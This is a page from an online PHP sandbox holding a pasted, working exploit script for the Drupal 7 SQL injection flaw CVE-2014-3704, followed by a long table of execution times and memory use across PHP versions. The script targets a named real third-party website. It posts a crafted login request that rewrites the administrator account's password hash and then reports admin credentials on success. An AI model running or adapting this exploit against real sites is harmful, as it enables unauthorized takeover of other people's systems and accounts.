3v4l.org

run code in 300+ PHP versions simultaneously
<?php// Title : Drupal Core 7.x Prior 7.32 - SQL Injection// Author : sn// Link : http://www.drupal.com// Version: 7.x Prior to 7.32// CVE : CVE-2014-3704// Site : http://siph0n.net// Config$site = "http://claro.com.br"; // site & site dir$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";//$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $site . "/?q=node&destination=node");curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);$server_output = curl_exec($ch);curl_close($ch);if(strpos($server_output, "mb_strlen() expects parameter 1 to be string")) {echo "Success! Please login with \"admin\":\"admin\" at {$site}/user/login";} else {echo "Failed";}?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0090.00918.84
8.3.30.0150.00018.96
8.3.20.0040.00419.96
8.3.10.0040.00423.70
8.3.00.0040.00419.13
8.2.170.0140.00022.96
8.2.160.0000.01320.38
8.2.150.0040.00424.18
8.2.140.0080.00024.66
8.2.130.0040.00426.16
8.2.120.0040.00422.29
8.2.110.0090.00019.09
8.2.100.0080.00417.91
8.2.90.0030.00519.13
8.2.80.0000.00817.97
8.2.70.0050.00317.38
8.2.60.0100.00017.80
8.2.50.0030.00718.10
8.2.40.0050.00220.18
8.2.30.0040.00417.98
8.2.20.0040.00417.56
8.2.10.0000.00717.83
8.2.00.0040.00317.42
8.1.270.0040.00423.88
8.1.260.0040.00426.35
8.1.250.0040.00428.09
8.1.240.0120.00019.26
8.1.230.0110.00017.46
8.1.220.0030.00517.74
8.1.210.0000.00818.77
8.1.200.0030.00617.22
8.1.190.0050.00318.88
8.1.180.0040.00418.10
8.1.170.0000.01018.64
8.1.160.0000.00721.94
8.1.150.0040.00418.71
8.1.140.0000.00717.23
8.1.130.0030.00319.47
8.1.120.0070.00017.32
8.1.110.0050.00317.18
8.1.100.0040.00417.36
8.1.90.0080.00017.22
8.1.80.0040.00417.31
8.1.70.0050.00317.18
8.1.60.0030.00517.31
8.1.50.0040.00417.31
8.1.40.0000.00817.27
8.1.30.0040.00417.41
8.1.20.0000.00717.48
8.1.10.0000.00717.41
8.1.00.0000.00717.38
8.0.300.0000.00718.77
8.0.290.0000.00716.63
8.0.280.0070.00018.37
8.0.270.0070.00017.09
8.0.260.0060.00017.03
8.0.250.0030.00316.82
8.0.240.0080.00016.81
8.0.230.0070.00016.68
8.0.220.0030.00316.66
8.0.210.0000.00616.62
8.0.200.0030.00316.70
8.0.190.0070.00016.73
8.0.180.0070.00016.69
8.0.170.0030.00516.76
8.0.160.0030.00316.79
8.0.150.0000.00716.73
8.0.140.0000.00716.68
8.0.130.0000.00613.37
8.0.120.0040.00416.71
8.0.110.0050.00316.58
8.0.100.0000.00716.59
8.0.90.0080.00016.70
8.0.80.0100.00716.79
8.0.70.0080.00016.78
8.0.60.0040.00416.66
8.0.50.0050.00316.71
8.0.30.0160.00816.97
8.0.20.0140.00717.40
8.0.10.0040.00416.94
8.0.00.0080.01116.58
7.4.330.0030.00315.02
7.4.320.0060.00016.47
7.4.300.0030.00316.44
7.4.290.0040.00416.39
7.4.280.0040.00416.37
7.4.270.0000.00616.50
7.4.260.0080.00016.49
7.4.250.0000.00716.33
7.4.240.0030.00516.45
7.4.230.0030.00316.27
7.4.220.0120.00616.42
7.4.210.0030.01016.25
7.4.200.0000.00716.55
7.4.160.0090.00616.21
7.4.150.0180.00317.40
7.4.140.0130.00717.86
7.4.130.0120.00616.44
7.4.120.0070.01016.34
7.4.110.0120.00616.50
7.4.100.0070.01016.39
7.4.90.0120.01216.48
7.4.80.0150.00919.39
7.4.70.0140.00316.17
7.4.60.0070.01016.35
7.4.50.0000.00816.37
7.4.40.0030.02016.16
7.4.30.0100.01316.48
7.4.00.0040.01114.78
7.3.330.0050.00013.02
7.3.320.0050.00013.04
7.3.310.0050.00216.17
7.3.300.0000.00716.14
7.3.290.0110.00616.11
7.3.280.0080.01116.20
7.3.270.0110.00817.40
7.3.260.0130.01016.33
7.3.250.0040.01316.40
7.3.240.0000.01816.29
7.3.230.0140.00316.39
7.3.210.0170.00016.23
7.3.200.0070.01019.39
7.3.190.0040.01416.30
7.3.180.0110.00516.41
7.3.170.0110.01416.31
7.3.160.0070.00716.17
7.3.120.0040.01414.70
7.3.110.0080.00914.45
7.3.100.0070.00714.62
7.3.90.0070.00714.81
7.3.80.0030.00814.76
7.3.70.0030.00914.50
7.3.60.0030.01414.71
7.3.50.0040.01414.64
7.3.40.0070.01014.49
7.3.30.0060.00914.69
7.3.20.0070.00716.40
7.3.10.0000.01316.56
7.3.00.0040.01016.39
7.2.330.0100.00716.18
7.2.320.0040.01316.29
7.2.310.0090.00616.67
7.2.300.0130.00416.52
7.2.290.0040.01816.43
7.2.250.0060.01314.90
7.2.240.0120.00814.71
7.2.230.0030.01014.71
7.2.220.0110.00314.60
7.2.210.0100.00315.05
7.2.200.0080.00414.62
7.2.190.0060.00914.88
7.2.180.0080.00814.93
7.2.170.0060.00614.63
7.2.130.0110.00416.76
7.2.120.0080.00516.79
7.2.110.0060.00616.88
7.2.100.0070.00616.76
7.2.90.0050.00716.98
7.2.80.0030.00916.66
7.2.70.0020.01316.86
7.2.60.0040.01016.79
7.2.50.0070.00916.65
7.2.40.0080.00516.67
7.2.30.0030.00916.76
7.2.20.0060.00716.83
7.2.10.0020.01316.67
7.2.00.0020.01016.77
7.1.330.0070.00715.63
7.1.320.0100.00715.63
7.1.310.0060.00615.65
7.1.300.0030.00815.29
7.1.290.0070.00715.50
7.1.280.0060.00615.68
7.1.270.0060.00315.82
7.1.260.0030.01415.56
7.1.250.0060.00615.58
7.1.240.0000.00915.65
7.1.230.0060.00615.61
7.1.220.0000.01215.50
7.1.210.0030.01015.55
7.1.200.0030.01215.58
7.1.190.0030.00715.68
7.1.180.0100.00015.57
7.1.170.0030.01015.83
7.1.160.0080.00015.67
7.1.150.0000.01015.60
7.1.140.0070.00415.71
7.1.130.0040.00715.78
7.1.120.0060.00915.42
7.1.110.0040.00815.25
7.1.100.0040.00815.45
7.1.90.0070.00315.70
7.1.80.0090.00615.51
7.1.70.0040.00616.30
7.1.60.0040.00916.54
7.1.50.0040.01016.07
7.1.40.0050.00715.95
7.1.30.0040.00915.96
7.1.20.0060.00616.27
7.1.10.0050.00515.82
7.1.00.0020.00616.12
7.0.330.0000.00915.45
7.0.320.0030.00715.24
7.0.310.0110.00415.41
7.0.300.0000.00815.31
7.0.290.0040.00415.25
7.0.280.0060.00615.08
7.0.270.0040.00715.31
7.0.260.0090.00315.27
7.0.250.0050.00515.46
7.0.240.0000.01515.45
7.0.230.0100.00615.09
7.0.220.0070.00715.09
7.0.210.0000.01115.05
7.0.200.0040.00716.00
7.0.190.0080.00415.61
7.0.180.0010.00715.64
7.0.170.0030.00515.67
7.0.160.0060.00715.63
7.0.150.0050.00315.78
7.0.140.0030.00715.84
7.0.130.0010.00715.78
7.0.120.0030.00715.83
7.0.110.0060.00515.79
7.0.100.0020.00715.88
7.0.90.0030.00715.60
7.0.80.0050.00515.86
7.0.70.0020.00815.78
7.0.60.0050.00715.71
7.0.50.0000.01015.73
7.0.40.0060.00714.24
7.0.30.0020.01114.30
7.0.20.0070.00514.22
7.0.10.0070.00314.31
7.0.00.0040.00814.25
5.6.380.0040.00714.11
5.6.370.0030.01314.54
5.6.360.0100.00714.30
5.6.350.0030.00914.09
5.6.340.0060.00614.19
5.6.330.0000.01113.99
5.6.320.0070.00713.96
5.6.310.0090.00314.19
5.6.300.0050.02217.46
5.6.290.0130.01517.48
5.6.280.0050.02617.40
5.6.270.0120.02417.49
5.6.260.0050.02417.67
5.6.250.0060.01917.62
5.6.240.0010.02717.50
5.6.230.0030.02617.42
5.6.220.0030.02717.42
5.6.210.0050.02317.54
5.6.200.0030.02917.49
5.6.190.0070.02017.33
5.6.180.0110.03417.51
5.6.170.0020.02817.60
5.6.160.0050.02117.46
5.6.150.0040.02417.60
5.6.140.0140.02617.59
5.6.130.0060.02417.46
5.6.120.0070.03117.51
5.6.110.0000.04517.52
5.6.100.0030.02817.63
5.6.90.0030.03317.47
5.6.80.0060.02517.08
5.6.70.0050.02317.25
5.6.60.0050.02417.12
5.6.50.0090.02717.28
5.6.40.0090.01817.19
5.6.30.0060.04117.10
5.6.20.0070.01817.11
5.6.10.0110.03417.25
5.6.00.0030.04817.02
5.5.380.0060.03414.21
5.5.370.0030.03014.15
5.5.360.0020.02614.11
5.5.350.0030.02414.36
5.5.340.0050.02314.32
5.5.330.0080.02214.29
5.5.320.0040.03014.43
5.5.310.0070.02014.54
5.5.300.0060.02014.44
5.5.290.0060.02414.44
5.5.280.0040.04114.49
5.5.270.0020.02414.52
5.5.260.0000.04514.53
5.5.250.0020.02414.35
5.5.240.0030.02614.10
5.5.230.0020.02614.16
5.5.220.0050.02214.06
5.5.210.0070.03713.98
5.5.200.0010.02713.95
5.5.190.0030.02814.12
5.5.180.0050.02213.96
5.5.170.0020.00210.75
5.5.160.0030.02213.99
5.5.150.0040.02613.91
5.5.140.0070.01514.07
5.5.130.0050.02813.90
5.5.120.0060.04114.00
5.5.110.0080.02114.01
5.5.100.0070.02214.06
5.5.90.0070.03214.03
5.5.80.0100.01813.98
5.5.70.0020.02413.88
5.5.60.0030.02214.11
5.5.50.0100.02314.00
5.5.40.0030.02113.79
5.5.30.0020.02314.08
5.5.20.0020.03414.04
5.5.10.0040.02013.97
5.5.00.0070.02413.96
5.4.450.0060.02915.04
5.4.440.0030.04314.93
5.4.430.0030.03315.03
5.4.420.0060.03715.14
5.4.410.0070.01815.13
5.4.400.0030.02114.78
5.4.390.0020.02314.92
5.4.380.0050.02214.96
5.4.370.0050.02114.83
5.4.360.0030.02014.86
5.4.350.0030.02414.84
5.4.340.0070.02214.94
5.4.330.0030.00710.23
5.4.320.0030.02714.88
5.4.310.0030.02314.96
5.4.300.0030.03114.87
5.4.290.0030.02114.87
5.4.280.0080.01914.71
5.4.270.0030.03814.75
5.4.260.0060.03914.90
5.4.250.0080.02214.85
5.4.240.0030.03714.82
5.4.230.0020.02414.84
5.4.220.0020.02614.91
5.4.210.0020.02415.00
5.4.200.0050.02014.89
5.4.190.0020.02314.97
5.4.180.0030.02114.70
5.4.170.0050.03614.83
5.4.160.0050.02114.84
5.4.150.0030.02814.77
5.4.140.0040.03713.61
5.4.130.0050.02513.72
5.4.120.0030.02213.52
5.4.110.0030.02213.64
5.4.100.0050.01913.66
5.4.90.0020.02113.51
5.4.80.0020.02213.64
5.4.70.0040.01913.54
5.4.60.0070.01613.64
5.4.50.0030.02113.37
5.4.40.0020.02413.68
5.4.30.0020.02013.73
5.4.20.0030.02013.64
5.4.10.0050.02013.64
5.4.00.0020.02313.35
5.3.290.0060.01912.79
5.3.280.0020.02512.61
5.3.270.0030.02212.68
5.3.260.0050.02312.65
5.3.250.0020.02312.73
5.3.240.0040.02412.55
5.3.230.0060.01912.73
5.3.220.0020.02512.69
5.3.210.0000.02712.55
5.3.200.0020.02712.51
5.3.190.0070.01812.59
5.3.180.0030.02012.74
5.3.170.0050.02112.73
5.3.160.0050.02012.75
5.3.150.0020.02212.75
5.3.140.0040.02112.72
5.3.130.0040.02412.68
5.3.120.0050.01912.69
5.3.110.0020.02312.72
5.3.100.0000.02312.61
5.3.90.0100.01712.67
5.3.80.0020.02312.61
5.3.70.0050.01812.63
5.3.60.0030.02512.70
5.3.50.0050.01712.67
5.3.40.0050.03712.65
5.3.30.0050.01812.57
5.3.20.0040.01912.64
5.3.10.0040.02012.52
5.3.00.0060.01912.50
5.2.170.0020.03312.23
5.2.160.0040.02612.12
5.2.150.0090.01412.12
5.2.140.0030.01912.17
5.2.130.0090.02612.09
5.2.120.0040.02212.07
5.2.110.0020.02012.20
5.2.100.0020.01912.18
5.2.90.0040.01612.19
5.2.80.0030.03312.05
5.2.70.0040.03212.17
5.2.60.0040.02812.13
5.2.50.0020.03512.20
5.2.40.0050.02912.11
5.2.30.0050.01812.15
5.2.20.0020.01912.11
5.2.10.0030.01811.99
5.2.00.0040.01812.02
5.1.60.0040.01511.78
5.1.50.0010.01611.78
5.1.40.0010.01611.80
5.1.30.0020.01711.89
5.1.20.0050.01211.75
5.1.10.0050.01411.83
5.1.00.0050.01311.75
5.0.50.0030.01211.75
5.0.40.0010.01311.75
5.0.30.0040.02011.75
5.0.20.0030.01011.75
5.0.10.0040.01311.75
5.0.00.0050.01611.75
4.4.90.0000.01911.75
4.4.80.0030.01711.75
4.4.70.0000.01211.75
4.4.60.0040.00811.75
4.4.50.0020.00911.75
4.4.40.0000.01711.75
4.4.30.0020.01111.75
4.4.20.0000.01111.75
4.4.10.0000.01211.75
4.4.00.0030.01311.75
4.3.110.0020.01411.75
4.3.100.0030.00611.75
4.3.90.0030.00811.75
4.3.80.0050.02211.75
4.3.70.0020.00911.75
4.3.60.0030.01211.75
4.3.50.0010.01011.75
4.3.40.0010.02711.75
4.3.30.0030.01111.75
4.3.20.0000.01111.75
4.3.10.0010.01311.75
4.3.00.0030.01111.75

preferences:
41.68 ms | 400 KiB | 5 Q